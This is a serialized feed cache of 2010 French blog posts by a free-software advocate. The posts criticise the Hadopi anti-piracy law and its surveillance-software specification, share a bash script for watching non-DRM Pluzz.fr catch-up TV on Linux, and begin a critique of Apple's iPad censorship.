Cette séparation est déjà en place depuis plusieurs années : chacun peut obtenir une nouvelle copie d’une œuvre dématérialisée sans pour autant la payer. Ce qu’il faut, c’est financer la création, pas interdire les copies ! Rien ne justifie que les œuvres soient payées par la vente à l’unité de copies. D’ailleurs, quand on entend “il faut acheter les albums pour que les créateurs soient rémunérés”, on pourrait également dire “il faut acheter les émissions pour que les animateurs TV soient rémunérés”. On voit bien que le travail n’a pas à être rémunéré par l’accès unitaire de chacun au fruit de ce travail… Copier n’est pas voler. Partager non plus.
Mais la transition est brutale, beaucoup trop brutale pour avoir le temps de mettre en place des mesures justes et adaptées. Pas pour l’enrayer, mais pour l’accompagner. Du coup, le choix qui est fait pour l’instant est de tenter d’empêcher cette révolution qui a déjà eu lieu. C’est voué à l’échec.
Rien n’est fait pour résoudre le problème. Au contraire, tout est mis en œuvre pour tenter de réassocier œuvre et support (support qui a la caractéristique de ne pas être copiable gratuitement, même s’il est virtuel comme avec les DRM), plutôt que de profiter de l’immense opportunité de la diffusion illimitée des œuvres (plusieurs études montrent d’ailleurs que le partage de fichiers a un effet global positif sur l’économie). Des campagnes de propagande, maintenant inscrites dans la loi pour expliquer aux petits enfants dans les écoles, veulent faire croire que partager, c’est mal, que ça détruit la création, alors qu’au contraire ça la diffuse et la fait vivre.
Mais il faut un modèle pour financer cette création. Que ça soit la licence globale, la SARD ou autre… Je n’ai pas LA solution. J’en ai juste la principale caractéristique : le financement doit être décorrélé de la vente unitaire de copies. Évidemment, les principales entreprises à se battre contre cette évolution sont celles qui vivent en vendant des copies. Mais a-t-on fait une loi pour sauver les vendeurs de lampes à huile quand l’électricité est arrivée ?
Peut-être trouvez-vous les propositions alternatives irréalistes ou stupides. Mais que pensez-vous alors de baser un modèle économique sur la vente de quelque chose qui est accessible à tous gratuitement, la copie ?
Voilà ce que m’a appris la loi Hadopi sur le “piratage”. Avant je pensais que le “piratage”, c’était mal, mais que c’était difficilement réversible car très répandu (“et puis après tout, tout le monde le fait”). Maintenant, j’ai compris que ce qui est appelé “piratage” n’est autre que l’usage commun des œuvres dans une société où la révolution numérique aurait été prise en compte, l’usage normal qui rencontre la résistance des modèles d’avant la dématérialisation…
Comme quoi, Albanel avait raison, la loi Hadopi a bien été pédagogique !
Si vous vous intéressez un peu au sujet, mon analyse n’a sans doute pas grand chose d’original. Ça ne m’empêche pas de la partager, et puis après tout, tout travail de création n’est-il pas un dérivé ?
Je vous recommande principalement, si ce n’est pas déjà fait, la lecture du livre Confessions d’un voleur, écrit par Laurent Chemla en 2002, mais qui est on ne peut plus d’actualité. C’est d’après moi une référence ! Il est disponible en version papier mais également en accès libre dans les formats ouverts qui vont bien (mais pas sous licence libre).
Pour l’anecdote, j’ai commandé la version papier (comme quoi, on peut acheter quelque chose de gratuit), mais je ne l’ai pas encore reçue car “la poste n’a pas pu localiser mon adresse”. Le filtrage d’Internet aurait-il des effets de bord jusqu’à dans le monde physique ?
Je poursuis ma réflexion dans ce billet, où je détaille pourquoi je pense que la guerre contre le partage est une manifestation d’une problématique beaucoup plus générale.
";s:7:"dateiso";s:15:"20100806_225247";}s:15:"20100801_030346";a:7:{s:5:"title";s:33:"Le logiciel HADOPI est impossible";s:4:"link";s:64:"http://blog.rom1v.com/2010/08/le-logiciel-hadopi-est-impossible/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1713";s:7:"pubDate";s:31:"Sun, 01 Aug 2010 01:03:46 +0000";s:11:"description";s:397:"Ça y’est, nous en savons plus sur les moyens de sécurisation HADOPI, après la diffusion (par Numerama) de leurs spécifications fonctionnelles (publiques mais secrètes), établies par M. Riguidel (soupçonné de conflits d’intérêts). EDIT: Le document final est publié ici. Sémantique Ce document nous confirme que le logiciel de sécurisation est en fait un mouchard, un [...]";s:7:"content";s:13559:"Ça y’est, nous en savons plus sur les moyens de sécurisation HADOPI, après la diffusion (par Numerama) de leurs spécifications fonctionnelles (publiques mais secrètes), établies par M. Riguidel (soupçonné de conflits d’intérêts).
EDIT: Le document final est publié ici.
Ce document nous confirme que le logiciel de sécurisation est en fait un mouchard, un logiciel de surveillance et de contrôle des utilisateurs.
En effet, la sécurité permet de se prémunir d’attaques extérieures et d’espionnage. Au contraire, les spécifications présentées définissent un logiciel espion qui journalise les faits et gestes (du moins ceux qui l’intéressent) des internautes. Dans l’esprit des architectes de la loi, la surveillance des utilisateurs est un moyen de sécurisation de la forme actuelle de la propriété intellectuelle, de la même manière que la censure est un moyen de sécurisation de l’opinion publique. Mais il ne s’agit absolument pas de sécurisation informatique.
Il est d’ailleurs amusant d’avoir précisé que logiciel devait espionner mais sans trop se faire remarquer (page 13) :
les moyens ne sont pas reconnus comme un « malware » par les antivirus du marché
Le principe de ce mouchard est d’enregistrer les actions de l’utilisateur dans deux fichiers (une version en clair et une version « sécurisée »). La version « sécurisée » doit être conservée un an, et servira au besoin à prouver que l’utilisateur a ou n’a pas fait telle ou telle action. C’est exactement comme proposer à la population l’installation d’une caméra de surveillance sur la tête qui conserverait les enregistrements pendant un an, dans le but de prouver son innocence lors d’une éventuelle accusation.
Ces spécifications sont inquiétantes par leur logique de surveillance et de contrôle. Les objectifs sont assez clairs. De plus en plus de politiques prenant conscience des enjeux de la neutralité du net (le Chili a même voté une loi pour la garantir), il paraît difficile d’imposer un filtrage (par ailleurs inefficace) pour combattre le partage de fichiers (quoique l’idée pourrait encore resurgir). Il serait également délirant d’imposer à chacun l’installation d’un tel mouchard sur toutes ses machines (même la Chine a reculé). La solution est donc de créer une insécurité juridique avec des accusations aléatoires (sans aucune preuve) et de proposer un outil de surveillance qui permettra de prouver sa bonne foi. S’ils ne peuvent pas prouver leur innocence, les utilisateurs risquent une amende de 1500€ et/ou une coupure d’accès Internet pendant un mois pour délit de négligence caractérisée. Une subtile manipulation de la présomption d’innocence.
Attention, on rentre dans la technique, c’est là que ça devient rigolo.
Je disais que le logiciel devait journaliser les actions des utilisateurs dans deux fichiers, une version en clair et une version « sécurisée ». C’est la partie cruciale du fonctionnement du logiciel de sécurisation. Tout est détaillé pages 28 et 32 :
Il existe deux sortes de journaux qui sont produits en temps réel dans deux bases de données distinctes :
Un journal en clair que les utilisateurs et l’administrateur peuvent consulter.
Un journal sécurisé. Ce journal est confidentiel, authentique et infalsifiable. Toute tentative de falsification éventuelle est détectable. Pour des raisons de sécurité, cette seconde version du journal est en mode binaire, compressée, signée électroniquement, chiffrée, et archivée pendant une période d’au moins une année. Ce journal sera accessible en clair à la demande du titulaire de l’abonnement. Il permettra de vérifier, après déchiffrement avec la clé privée correspondant au logiciel, laquelle est détenue par le tiers de confiance, la mise en œuvre du logiciel de sécurisation à une date et heure donnée, et l’activité informatique de l’internaute concerné. Ce journal permet de refléter, sans interférence possible du titulaire de l’abonnement, les événements de l’accès Internet considéré.
Le chiffrement des journaux s’opère avec de la cryptographie asymétrique, en utilisant la clé publique fournie, avec le logiciel, par un tiers de confiance.
On a donc un journal en clair, et une copie en binaire-compressé-signé-chiffré-archivé-infalsifiable-incopiable. Comment est chiffrée cette copie? Par une clé publique (fournie avec le logiciel). Comment est signée cette copie? Ce n’est pas dit, mais c’est forcément par une clé (privée), fournie elle-aussi avec le logiciel.
Le poste de l’utilisateur possède donc la clé de chiffrement et la clé de signature, mais attention, abracadabra, il ne doit pas pouvoir créer un « faux » journal chiffré et signé ! Et s’il tente de créer un faux journal, le logiciel doit le détecter !
Le but du journal « sécurisé » est évidemment de s’assurer qu’il a bien été généré par le mouchard et qu’il n’a pas été modifié. On se demande alors l’intérêt de le chiffrer par une clé publique (vu que de toute façon le journal est accessible en clair). Ce qu’il faut, c’est le signer. Et pour signer, il faut une clé privée. Et une clé privée, on ne peut pas l’intégrer au logiciel, car alors elle serait rendue publique, et n’importe qui pourrait signer n’importe quoi. La clé privée du « tiers de confiance » ne peut donc pas être diffusée pour signer les journaux.
Envoyer les journaux chez le « tiers de confiance » (ce qui est clairement exclu de toute façon) ne fonctionnerait pas mieux, car rien n’empêcherait l’utilisateur d’envoyer de faux journaux.
Il n’est donc pas possible de réaliser un tel logiciel.
Mesdames et messieurs de l’Hadopi, si une société vous propose un logiciel qui répond aux spécifications, méfiez-vous, il n’y répond pas. Mesdames et messieurs les commerciaux des sociétés informatiques, réfléchissez bien avant d’accepter un tel contrat, vos équipes projets ne pourront pas le réaliser.
Pourtant, la cryptographie, ça fonctionne bien et c’est accessible à tous très simplement. Pourquoi donc un tel logiciel ne peut pas fonctionner ?
La cryptographie asymétrique, ça permet à A d’écrire un message à B de telle manière que B soit sûr que le message provienne de A et que A soit sûr que seul B puisse le lire. A et B se font confiance.
Ici, par définition, le tiers de confiance vis-à-vis de l’Hadopi (B) ne fait pas confiance à l’internaute (A). Donc B veut écrire et signer le message (ici le journal) qui se trouve chez A. Pour cela, une partie de B (le mouchard) doit se trouver chez A : cette partie peut donc être contrôlée par A. On en déduit que A peut signer les messages qu’il veut en se faisant passer pour B.
Il n’y a d’ailleurs rien d’étonnant à ce qu’un outil de sécurité et de protection ne réponde pas au besoin d’un logiciel de surveillance et de contrôle.
Il reste une petite subtilité à détailler. J’ai dit que si la clé privée était intégrée au logiciel, alors elle était publique (accessible à tous), et que si le mouchard se trouvait chez un internaute, il pouvait être contrôlé par l’internaute.
En fait, certains logiciels ne permettent pas aux utilisateurs d’en étudier directement le fonctionnement, et donc a fortiori d’en modifier le comportement : ce sont les logiciels dits propriétaires ou privateurs (du moins ceux dont les sources ne sont pas fournies). Ces logiciels sont par définition une privation d’une partie du contrôle de sa propre machine : l’utilisateur doit faire confiance aveuglément aux actions du logiciel. C’est l’idéal pour un programme de surveillance.
Mais il ne s’agit en rien d’une sécurité, la clé se trouve quand même dans le programme, et sera un moment ou à un autre utilisée (pour signer le journal). Ne pas fournir les sources du programme ne fera que rendre la tâche un petit peu plus difficile (il faudra sans doute lire de l’assembleur), mais je n’ai aucun doute sur le fait que 48 heures après le programme diffusé, un outil permettant d’en extraire la clé sera disponible.
Bien loin d’une protection rendant le journal infalsifiable comme exigée.
Les rédacteurs du document ont bien compris que le logiciel libre ne devait pas être écarté du champ du mouchard, et qu’il fallait que l’expression « logiciel libre » apparaisse dans les spécifications (page 6) :
Les moyens peuvent être réalisés à partir de logiciels libres et/ou fonctionner sur des systèmes d’exploitation libres.
Ils peuvent être réalisés « à partir » ou « fonctionner sur » des logiciels libres. Mais fondamentalement, un mouchard ne peut pas être libre. Le logiciel libre permet à l’utilisateur d’avoir le contrôle de sa machine ; le mouchard lui propose de perdre une partie de ce contrôle pour être surveillé. C’est forcément incompatible.
Concrètement, c’est très simple à comprendre : il suffit de modifier les sources du logiciel qui écrit le journal « sécurisé » pour qu’il n’écrive que ce que l’on décide.
On observe de nombreuses tentatives de s’emparer du contrôle d’au moins une partie des ordinateurs de la population. C’est le cas avec des systèmes de suppression d’applications ou de contenu à distance sans le consentement de l’utilisateur (je pense notamment à Apple et Google pour leur systèmes mobiles). C’est le cas maintenant avec des mouchards que la loi recommande.
Je pense qu’il serait intéressant de faire du « droit de contrôle de son ordinateur » (ou appelez ça comme vous voulez) un enjeu au même titre que la neutralité du net : si le filtrage est interdit au niveau du réseau, il va être chez l’utilisateur. Dans ce cas, la seule forme acceptable est qu’il soit sous son contrôle, et non sous le contrôle d’une entreprise privée ou d’une quelconque autre entité.
D’ailleurs, le document de spécifications du logiciel HADOPI laisse penser que l’installation d’applications dans les boitiers ADSL hors du contrôle de l’utilisateur est prévu (page 9) :
";s:7:"dateiso";s:15:"20100801_030346";}s:15:"20100801_010346";a:7:{s:5:"title";s:33:"Le logiciel HADOPI est impossible";s:4:"link";s:63:"http://blog.rom1v.com/2010/08/le-logiciel-hadopi-est-impossible";s:4:"guid";s:63:"http://blog.rom1v.com/2010/08/le-logiciel-hadopi-est-impossible";s:7:"pubDate";s:25:"2010-08-01T01:03:46+02:00";s:11:"description";s:0:"";s:7:"content";s:12913:"Pour le moment le parc des boitiers ADSL est très hétérogène, et les boitiers sont dimensionnés de telle manière qu’il est difficile de loger des applications supplémentaires dans ces boitiers. Pourtant, on peut réfléchir à ces solutions pour les futures générations de boitiers, dans le cadre du renouvellement général du parc.
Ça y’est, nous en savons plus sur les moyens de sécurisation HADOPI, après la diffusion par Numerama de leurs spécifications fonctionnelles (publiques mais secrètes), établies par M. Riguidel (soupçonné de conflits d’intérêts).
EDIT : Le document final est publié ici.
Ce document nous confirme que le logiciel de sécurisation est en fait un mouchard, un logiciel de surveillance et de contrôle des utilisateurs.
En effet, la sécurité permet de se prémunir d’attaques extérieures et d’espionnage. Au contraire, les spécifications présentées définissent un logiciel espion qui journalise les faits et gestes (du moins ceux qui l’intéressent) des internautes. Dans l’esprit des architectes de la loi, la surveillance des utilisateurs est un moyen de sécurisation de la forme actuelle de la propriété intellectuelle, de la même manière que la censure est un moyen de sécurisation de l’opinion publique. Mais il ne s’agit absolument pas de sécurisation informatique.
Il est d’ailleurs amusant d’avoir précisé que logiciel devait espionner mais sans trop se faire remarquer (page 13) :
les moyens ne sont pas reconnus comme un « malware » par les antivirus du marché
Le principe de ce mouchard est d’enregistrer les actions de l’utilisateur dans deux fichiers (une version en clair et une version “sécurisée”). La version “sécurisée” doit être conservée un an, et servira au besoin à prouver que l’utilisateur a ou n’a pas fait telle ou telle action. C’est exactement comme proposer à la population l’installation d’une caméra de surveillance sur la tête qui conserverait les enregistrements pendant un an, dans le but de prouver son innocence lors d’une éventuelle accusation.
Ces spécifications sont inquiétantes par leur logique de surveillance et de contrôle. Les objectifs sont assez clairs. De plus en plus de politiques prenant conscience des enjeux de la neutralité du net (le Chili a même voté une loi pour la garantir), il paraît difficile d’imposer un filtrage (par ailleurs inefficace) pour combattre le partage de fichiers (quoique l’idée pourrait encore resurgir). Il serait également délirant d’imposer à chacun l’installation d’un tel mouchard sur toutes ses machines (même la Chine a reculé). La solution est donc de créer une insécurité juridique avec des accusations aléatoires (sans aucune preuve) et de proposer un outil de surveillance qui permettra de prouver sa bonne foi. S’ils ne peuvent pas prouver leur innocence, les utilisateurs risquent une amende de 1500€ et/ou une coupure d’accès Internet pendant un mois pour délit de négligence caractérisée. Une subtile manipulation de la présomption d’innocence.
Attention, on rentre dans la technique, c’est là que ça devient rigolo.
Je disais que le logiciel devait journaliser les actions des utilisateurs dans deux fichiers, une version en clair et une version “sécurisée”. C’est la partie cruciale du fonctionnement du logiciel de sécurisation. Tout est détaillé pages 28 et 32 :
Il existe deux sortes de journaux qui sont produits en temps réel dans deux bases de données distinctes :
Un journal en clair que les utilisateurs et l’administrateur peuvent consulter.
Un journal sécurisé. Ce journal est confidentiel, authentique et infalsifiable. Toute tentative de falsification éventuelle est détectable. Pour des raisons de sécurité, cette seconde version du journal est en mode binaire, compressée, signée électroniquement, chiffrée, et archivée pendant une période d’au moins une année. Ce journal sera accessible en clair à la demande du titulaire de l’abonnement. Il permettra de vérifier, après déchiffrement avec la clé privée correspondant au logiciel, laquelle est détenue par le tiers de confiance, la mise en œuvre du logiciel de sécurisation à une date et heure donnée, et l’activité informatique de l’internaute concerné. Ce journal permet de refléter, sans interférence possible du titulaire de l’abonnement, les événements de l’accès Internet considéré.
Le chiffrement des journaux s’opère avec de la cryptographie asymétrique, en utilisant la clé publique fournie, avec le logiciel, par un tiers de confiance.
On a donc un journal en clair, et une copie en binaire-compressé-signé-chiffré-archivé-infalsifiable-incopiable. Comment est chiffrée cette copie ? Par une clé publique (fournie avec le logiciel). Comment est signée cette copie ? Ce n’est pas dit, mais c’est forcément par une clé (privée), fournie elle-aussi avec le logiciel.
Le poste de l’utilisateur possède donc la clé de chiffrement et la clé de signature, mais attention, abracadabra, il ne doit pas pouvoir créer un “faux” journal chiffré et signé ! Et s’il tente de créer un faux journal, le logiciel doit le détecter !
Le but du journal “sécurisé” est évidemment de s’assurer qu’il a bien été généré par le mouchard et qu’il n’a pas été modifié. On se demande alors l’intérêt de le chiffrer par une clé publique (vu que de toute façon le journal est accessible en clair). Ce qu’il faut, c’est le signer. Et pour signer, il faut une clé privée. Et une clé privée, on ne peut pas l’intégrer au logiciel, car alors elle serait rendue publique, et n’importe qui pourrait signer n’importe quoi. La clé privée du “tiers de confiance” ne peut donc pas être diffusée pour signer les journaux.
Envoyer les journaux chez le “tiers de confiance” (ce qui est clairement exclu de toute façon) ne fonctionnerait pas mieux, car rien n’empêcherait l’utilisateur d’envoyer de faux journaux.
Il n’est donc pas possible de réaliser un tel logiciel.
Mesdames et messieurs de l’Hadopi, si une société vous propose un logiciel qui répond aux spécifications, méfiez-vous, il n’y répond pas. Mesdames et messieurs les commerciaux des sociétés informatiques, réfléchissez bien avant d’accepter un tel contrat, vos équipes projets ne pourront pas le réaliser.
Pourtant, la cryptographie, ça fonctionne bien et c’est accessible à tous très simplement. Pourquoi donc un tel logiciel ne peut pas fonctionner ?
La cryptographie asymétrique, ça permet à A d’écrire un message à B de telle manière que B soit sûr que le message provienne de A et que A soit sûr que seul B puisse le lire. A et B se font confiance.
Ici, par définition, le tiers de confiance vis-à-vis de l’Hadopi (B) ne fait pas confiance à l’internaute (A). Donc B veut écrire et signer le message (ici le journal) qui se trouve chez A. Pour cela, une partie de B (le mouchard) doit se trouver chez A : cette partie peut donc être contrôlée par A. On en déduit que A peut signer les messages qu’il veut en se faisant passer pour B.
Il n’y a d’ailleurs rien d’étonnant à ce qu’un outil de sécurité et de protection ne réponde pas au besoin d’un logiciel de surveillance et de contrôle.
Il reste une petite subtilité à détailler. J’ai dit que si la clé privée était intégrée au logiciel, alors elle était publique (accessible à tous), et que si le mouchard se trouvait chez un internaute, il pouvait être contrôlé par l’internaute.
En fait, certains logiciels ne permettent pas aux utilisateurs d’en étudier directement le fonctionnement, et donc a fortiori d’en modifier le comportement : ce sont les logiciels dits propriétaires ou privateurs (du moins ceux dont les sources ne sont pas fournies). Ces logiciels sont par définition une privation d’une partie du contrôle de sa propre machine : l’utilisateur doit faire confiance aveuglément aux actions du logiciel. C’est l’idéal pour un programme de surveillance.
Mais il ne s’agit en rien d’une sécurité, la clé se trouve quand même dans le programme, et sera un moment ou à un autre utilisée (pour signer le journal). Ne pas fournir les sources du programme ne fera que rendre la tâche un petit peu plus difficile (il faudra sans doute lire de l’assembleur), mais je n’ai aucun doute sur le fait que 48 heures après le programme diffusé, un outil permettant d’en extraire la clé sera disponible.
Bien loin d’une protection rendant le journal infalsifiable comme exigée.
Les rédacteurs du document ont bien compris que le logiciel libre ne devait pas être écarté du champ du mouchard, et qu’il fallait que l’expression “logiciel libre” apparaisse dans les spécifications (page 6) :
Les moyens peuvent être réalisés à partir de logiciels libres et/ou fonctionner sur des systèmes d’exploitation libres.
Ils peuvent être réalisés “à partir” ou “fonctionner sur” des logiciels libres. Mais fondamentalement, un mouchard ne peut pas être libre. Le logiciel libre permet à l’utilisateur d’avoir le contrôle de sa machine ; le mouchard lui propose de perdre une partie de ce contrôle pour être surveillé. C’est forcément incompatible.
Concrètement, c’est très simple à comprendre : il suffit de modifier les sources du logiciel qui écrit le journal “sécurisé” pour qu’il n’écrive que ce que l’on décide.
On observe de nombreuses tentatives de s’emparer du contrôle d’au moins une partie des ordinateurs de la population. C’est le cas avec des systèmes de suppression d’applications ou de contenu à distance sans le consentement de l’utilisateur (je pense notamment à Apple et Google pour leur systèmes mobiles). C’est le cas maintenant avec des mouchards que la loi recommande.
Je pense qu’il serait intéressant de faire du “droit de contrôle de son ordinateur” (ou appelez ça comme vous voulez) un enjeu au même titre que la neutralité du net : si le filtrage est interdit au niveau du réseau, il va être chez l’utilisateur. Dans ce cas, la seule forme acceptable est qu’il soit sous son contrôle, et non sous le contrôle d’une entreprise privée ou d’une quelconque autre entité.
D’ailleurs, le document de spécifications du logiciel HADOPI laisse penser que l’installation d’applications dans les boitiers ADSL hors du contrôle de l’utilisateur est prévu (page 9) :
";s:7:"dateiso";s:15:"20100801_010346";}s:15:"20100706_165711";a:7:{s:5:"title";s:79:"Pluzz.fr : France Televisions lance son service de TV de rattrapage non lisible";s:4:"link";s:108:"http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1669";s:7:"pubDate";s:31:"Tue, 06 Jul 2010 14:57:11 +0000";s:11:"description";s:432:"Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d’accepter d’installer un système d’exploitation particulier avec un logiciel particulier (propriétaires évidemment). C’est comme s’ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d’une TV Sony ou Philips, et pas [...]";s:7:"content";s:5888:"Pour le moment le parc des boitiers ADSL est très hétérogène, et les boitiers sont dimensionnés de telle manière qu’il est difficile de loger des applications supplémentaires dans ces boitiers. Pourtant, on peut réfléchir à ces solutions pour les futures générations de boitiers, dans le cadre du renouvellement général du parc.
Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d’accepter d’installer un système d’exploitation particulier avec un logiciel particulier (propriétaires évidemment). C’est comme s’ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d’une TV Sony ou Philips, et pas pour les autres… France Télévisions a simplement oublié que c’était un avant tout un service public.
La lecture des vidéos nécessite soit Windows Media Player, soit Silverlight. C’est dommage, il aurait été préférable que leur site soit du web, accessible à tous.
En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c’est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d’empêcher la copie ; ce n’est pas totalement faux : quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.
En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n’est pas copiable n’est pas lisible.
Comme France Télévisions n’a pas fait son boulot d’interopérabilité, et qu’a priori chacun a droit d’accéder à ce service (public!), nous sommes obligés de nous débrouiller par nous-mêmes.
J’ai donc écrit un petit script bash qui permet d’accéder relativement simplement à Pluzz à partir d’un système libre (où VLC doit être installé, testé sur Ubuntu 10.04). Pour l’utiliser, rendez-vous sur Pluzz.fr, cliquez sur l’émission de votre choix, et copier l’adresse de la page (par exemple http://www.pluzz.fr/jt-20h.html).
Ensuite, pour lire la vidéo, tapez :
pluzz play http://www.pluzz.fr/jt-20h.html
Pour l’enregistrer (bah oui, tout ce qui est lisible est enregistrable) :
pluzz record http://www.pluzz.fr/jt-20h.html
Si vous voulez simplement l’url du flux :
pluzz url http://www.pluzz.fr/jt-20h.html
Ceci ne fonctionnera que pour les vidéos sans DRM : les vidéos avec DRM ne sont pas lisibles.
EDIT 11/07/2010 :
J’ai mis à jour le script avec une version 0.2, qui gère également les flux en mp4 (flvstreamer doit être installé).
L’historique des scripts est disponible ici (au cas où une régression poserait problème).
Voici le script (sous licence wtfpl), à sauvegarder en tant que fichier exécutable /usr/local/bin/pluzz (uniquement si vous comprenez ce que vous faites) :
#!/bin/bash
# Script pour utiliser pluzz.fr
# v0.2 (11 juillet 2010)
if [ $# != 2 ]
then
printf "Syntaxe: $0 [url|play|record] http://www.pluzz.fr/...\n" >&2
exit 1
fi
command="$1"
url="$2"
if [ "$command" != 'url' -a "$command" != 'play' -a "$command" != 'record' ]
then
printf "Command must be 'url', 'play' or 'record', not '$command'\n" >&2
exit 2
fi
video_page_url=$(wget -qO- "$url" | grep -o 'http://info.francetelevisions.fr/?id-video=[^"]\+')
stream_url_part2=$(wget -qO- "$video_page_url" | grep urls-url-video | sed 's/.*content="\(.*\)".*/\1/')
ext=${stream_url_part2##*.}
if [ "$ext" = 'wmv' ]
then
stream_url_part1='mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication'
elif [ "$ext" = 'mp4' ]
then
stream_url_part1='rtmp://videozones-rtmp.francetv.fr/ondemand/mp4:cappuccino/publication'
else
printf "Extension not managed : '$ext'\n" >&2
exit 3
fi
stream_url="$stream_url_part1/$stream_url_part2"
if [ "$command" = "url" ]
then
printf "$stream_url\n"
elif [ "$command" = "play" ]
then
if [ "$ext" = 'wmv' ]
then
vlc "$stream_url"
else
flvstreamer -r "$stream_url" | vlc -
fi
elif [ "$command" = "record" ]
then
output_file=${stream_url##*/}
printf "Recording to $output_file...\n"
if [ "$ext" = 'wmv' ]
then
vlc "$stream_url" ":sout=#std{access=file,mux=asf,dst=$output_file}"
else
flvstreamer -r "$stream_url" -o "$output_file"
fi
fi
EDIT 11/07/2010 : Le plus simple est de créer un fichier pluzz dans le dossier personnel, d’y recopier le script ci-dessus, et d’exécuter :
sudo install pluzz /usr/local/bin
Après s’être déjà fait remarqué par leur exclusivité avec Orange, j’espère que France Télévisions acceptera un jour de permettre l’accès à tous à la télévision de rattrapage.
";s:7:"dateiso";s:15:"20100706_165711";}s:15:"20100706_145711";a:7:{s:5:"title";s:82:"Pluzz.fr : France Télévisions lance son service de TV de rattrapage non lisible";s:4:"link";s:107:"http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible";s:4:"guid";s:107:"http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible";s:7:"pubDate";s:25:"2010-07-06T14:57:11+02:00";s:11:"description";s:0:"";s:7:"content";s:4506:"
Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d’accepter d’installer un système d’exploitation particulier avec un logiciel particulier (propriétaires évidemment). C’est comme s’ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d’une TV Sony ou Philips, et pas pour les autres… France Télévisions a simplement oublié que c’était un avant tout un service public.
La lecture des vidéos nécessite soit Windows Media Player, soit Silverlight. C’est dommage, il aurait été préférable que leur site soit du web, accessible à tous.
En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c’est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d’empêcher la copier ; ce n’est pas totalement faux : quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.
En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n’est pas copiable n’est pas lisible.
comme france télévisions n’a pas fait son boulot d’interopérabilité, et qu’a priori chacun a droit d’accéder à ce service (public !), nous sommes obligés de nous débrouiller par nous-mêmes.
j’ai donc écrit un petit script bash qui permet d’accéder relativement
simplement à pluzz à partir d’un système libre (où vlc doit être installé,
testé sur ubuntu 10.04). pour l’utiliser, rendez-vous sur pluzz.fr,
cliquez sur l’émission de votre choix, et copier l’adresse de la page (par
exemple http://www.pluzz.fr/jt-20h.html).
ensuite, pour lire la vidéo, tapez :
pluzz play http://www.pluzz.fr/jt-20h.html
pour l’enregistrer (bah oui, tout ce qui est lisible est enregistrable) :
pluzz record http://www.pluzz.fr/jt-20h.html
si vous voulez simplement l’url du flux :
pluzz url http://www.pluzz.fr/jt-20h.html
Ceci ne fonctionnera que pour les vidéos sans DRM : les vidéos avec DRM ne sont pas lisibles.
EDIT : Pluzz a récemment changé la manière dont les vidéos sont diffusées. Le script que j’ai proposé ici ne fonctionnera donc plus pour une majorité de vidéos. Chaoswizard en a créé un nouveau, en Python pour prendre en compte ces changements.
Le plus simple maintenant est d’utiliser l’outil youtube-dl
(qui, contrairement à ce que son nom pourrait laisser penser, ne télécharge pas
que sur Youtube) :
sudo apt-get install youtube-dl
Le script est disponible sous licence wtfpl sur ce dépôt git :
git clone http://git.rom1v.com/pluzz.git
(ou sur github).
Pour fonctionner, le paquet flvstreamer doit être installé :
sudo apt-get install flvstreamer
Le plus simple pour l’installer est de créer télécharger le script pluzz et
d’exécuter :
sudo install pluzz /usr/local/bin
Après s’être déjà fait remarqué par leur exclusivité avec Orange, j’espère que France Télévisions acceptera un jour de permettre l’accès à tous à la télévision de rattrapage.
";s:7:"dateiso";s:15:"20100706_145711";}s:15:"20100603_174318";a:7:{s:5:"title";s:30:"Ce qui ne va pas dans l’iPad";s:4:"link";s:58:"http://blog.rom1v.com/2010/06/ce-qui-ne-va-pas-dans-lipad/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1592";s:7:"pubDate";s:31:"Thu, 03 Jun 2010 15:43:18 +0000";s:11:"description";s:356:"Depuis la sortie de l’iPad d’Apple, de nombreux articles ont été écrits sur le sujet. Jusqu’ici je me contentais de donner mon point de vue dans les commentaires des articles, mais j’ai finalement décidé de regrouper certaines de mes interventions pour en faire un billet de blog, et ainsi rajouter mes 2 centimes à tout [...]";s:7:"content";s:9759:"Depuis la sortie de l’iPad d’Apple, de nombreux articles ont été écrits sur le sujet. Jusqu’ici je me contentais de donner mon point de vue dans les commentaires des articles, mais j’ai finalement décidé de regrouper certaines de mes interventions pour en faire un billet de blog, et ainsi rajouter mes 2 centimes à tout ce ramdam.
Aussi bien l’iPhone que l’iPad portent atteinte à la liberté d’expression.
Un exemple est rapporté par Rue89 :
Mark Fiore s’est vu interdire son application iPhone, dont le but était de diffuser de petites animations. […] Son crime ? Apple considère que ces caricatures, « contiennent des éléments qui ridiculisent des personnages publics, en violation de la section 3.3.14 de l’iPhone Developer Program License Agreement. »
Voici ce que dit cette section :
« Une application peut être rejetée si elle diffuse un contenu (texte, graphique, dessin, photo, son) qu’Apple juge désobligeant, par exemple un contenu pornographique, obscène ou diffamant. »
Apple se fait juge à la place du juge, et décide arbitrairement de ce qui doit être censuré ou non.
Pourtant, l’article 11 de la déclaration des droits de l’Homme et du citoyen de 1789 dit :
